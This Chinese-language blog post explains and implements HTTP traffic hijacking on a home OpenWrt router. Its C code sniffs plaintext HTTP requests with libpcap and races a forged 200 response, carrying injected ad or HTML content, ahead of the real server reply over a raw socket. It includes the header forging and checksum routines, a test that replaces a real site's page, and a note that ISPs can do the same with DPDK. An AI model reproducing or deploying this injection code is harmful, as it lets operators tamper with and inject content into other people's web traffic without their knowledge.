Table of Contents

​​一. 原理​​

​​二. 源码实现​​

​​三. 测试​​

​​github地址:​​


流量劫持比较复杂,一般来说运营商,路由器厂商,黑客都可能是流量劫持操作者。基于国内大部分网站以http明文协议为主,这无疑给劫持者提供了土壤。

本文演示了家庭路由器流量劫持实现,公共WIFI连接授权实现有点差异,它是用iptables重定向至webserver,有兴趣的同学可参考nodogsplash实现源码。

 

一. 原理

 

流量劫持_TCP

 

原理:

1. 嗅探用户http get请求流量。

2. 伪造http 200包(插入广告代码)。

 

两种场景:

1. 路由器侧

在路由器侧通过旁路的方式(libpcap)嗅探流量,并将伪造响应先于真实响应前发送给用户,后到的真实响应会被协议栈丢弃。

2. ISP侧

ISP网络设备流量分光至服务器,通过DPDK方式嗅探流量,并回应200 OK包。

 

二. 源码实现

2.1 实现环境

router: TP-LINK

router os: openwrt

lib:libpcap 

 

2.2 核心代码

1. libpcap流量采集

2. DPI解析

3. 协议伪造

/**
* 发送HTTP响应
*/
bool sendHttpResponse( char *buff, char *response )
{
struct iphdr *ip = (struct iphdr*)buff;
struct tcphdr *tcp = (struct tcphdr*)((char*)buff + sizeof(struct iphdr));

int nHeadLen = ip->ihl*4 + tcp->doff*4;
int Length = htons(ip->tot_len) - ip->ihl*4 - tcp->doff*4;

char *pPacketBuffer = this->PacketBuffer;
memset( (void*)pPacketBuffer,0,PACKET_BUFFER_LEN );

// 添加html
char *ContentBuffer = pPacketBuffer + 350;
int nContentLen = snprintf( ContentBuffer,
1300,
response );

// 内容长度
char strLen[25];
int cLen = sprintf( strLen,
"%d\r\n\r\n",
nContentLen );

/*
* nHeadLen(iphead +tcphead) + http_head + content_length + content
*/
pPacketBuffer = ContentBuffer - ( nHeadLen + sizeof(HTTP_HEAD)-1 + cLen );
memcpy( pPacketBuffer, ip, nHeadLen );
memcpy( pPacketBuffer + nHeadLen, HTTP_HEAD, sizeof(HTTP_HEAD) );
memcpy( pPacketBuffer + nHeadLen + sizeof(HTTP_HEAD)-1,strLen,cLen );

// IP
struct iphdr *pTempIP = (struct iphdr*)pPacketBuffer;
pTempIP->version = 4;
pTempIP->ihl = 5;
pTempIP->protocol = IPPROTO_TCP;
pTempIP->saddr = ip->daddr;
pTempIP->daddr = ip->saddr;

// TCP
struct tcphdr *pTempTcp = (struct tcphdr*)((char*)pTempIP + sizeof(struct iphdr));
if( pTempTcp == NULL )
{
printf( "%s\n","TCP NULL" );
return false;
}

pTempTcp->source = tcp->dest;
pTempTcp->dest = tcp->source;
pTempTcp->seq = tcp->ack_seq;
pTempTcp->ack_seq = ntohl( ntohl(tcp->seq) + Length );
pTempTcp->ack = 1;
pTempTcp->fin = 0;
pTempTcp->psh = 1;

// 校验和计算
int nLen = nHeadLen + sizeof(HTTP_HEAD)-1 + cLen + nContentLen;
pTempIP->tot_len = htons(nLen);
IPCheckSum(pTempIP);

// 原始套接字发送HTTP响应
m_addr.sin_addr.s_addr = pTempIP->daddr;
int count = sendto( m_rawsock,
(const char*)pTempIP,
ntohs(pTempIP->tot_len),
0,
(struct sockaddr *)&m_addr,
sizeof(struct sockaddr_in) );

return count > 0;
}

 

 4. 校验和计算

 a. CRC32校验和计算,参见内核实现。

 b. TCP/UDP的checksum,需要包含一个12字节的伪首部。TCP校验和覆盖TCP首部和TCP数据,而IP首部中的校验和只覆盖IP的首部,不覆盖IP数据报中的任何数据。

流量劫持_TCP_02

 

// IP检验和计算
int IPCheckSum( iphdr* ip )
{
if( NULL==ip || 4 != ip->version || 5 > ip->ihl )
{
return -1;
}

unsigned char protocol = ip->protocol;

if( !(protocol==IPPROTO_TCP || protocol==IPPROTO_UDP) )
{
ip->check = 0;
ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr));
return 0;
}

char *ipdata = (char*)ip + ip->ihl*4;

// 在tcp/udp头部上添加伪头部,注:直接修改ip头部分,实现比较巧妙
CheckSumHeader *check = (CheckSumHeader*)(ipdata - sizeof(CheckSumHeader));

// temp用于备份ip头部数据
char temp[sizeof(CheckSumHeader)];
memcpy(temp, check, sizeof(CheckSumHeader));

check->SrcIP = ip->saddr;
check->DestIP = ip->daddr;
check->Zero = 0;
check->Protocol = protocol;
check->Length = ntohs(ntohs(ip->tot_len) - sizeof(struct iphdr));

// tcp/udp从伪头部开始计算校验和
if (protocol == IPPROTO_TCP)
{
struct tcphdr *tcp = (struct tcphdr*)ipdata;
tcp->check = 0;
tcp->check = CheckSum((unsigned short*)check,
ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader)); // psd + tcp
}
else if (protocol == IPPROTO_UDP)
{
struct udphdr *udp = (struct udphdr*)ipdata;
udp->check = 0;
udp->check = CheckSum((unsigned short*)check,
ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader)); // psd + tcp
}

// 恢复原ip头数据
memcpy(check, temp, sizeof(CheckSumHeader));

// 计算IP校验和
ip->check = 0;
ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr));
return 0;
}

 

 

三. 测试

请求 ​​http://www.163.com​​,浏览器显示 Hello world。

 

最后

本文演示了家庭路由器流量劫持实现,由于家庭流量较小,且路由器资源有限,用传统的libpcap勉强能支撑。

如果是ISP机房流量,则需要考虑DPDK高性能采集框架。

近年来国内厂商对劫持引起重视,BAT都采用了https加密网站。

 

github地址:

​https://github.com/spkettas/httpfake​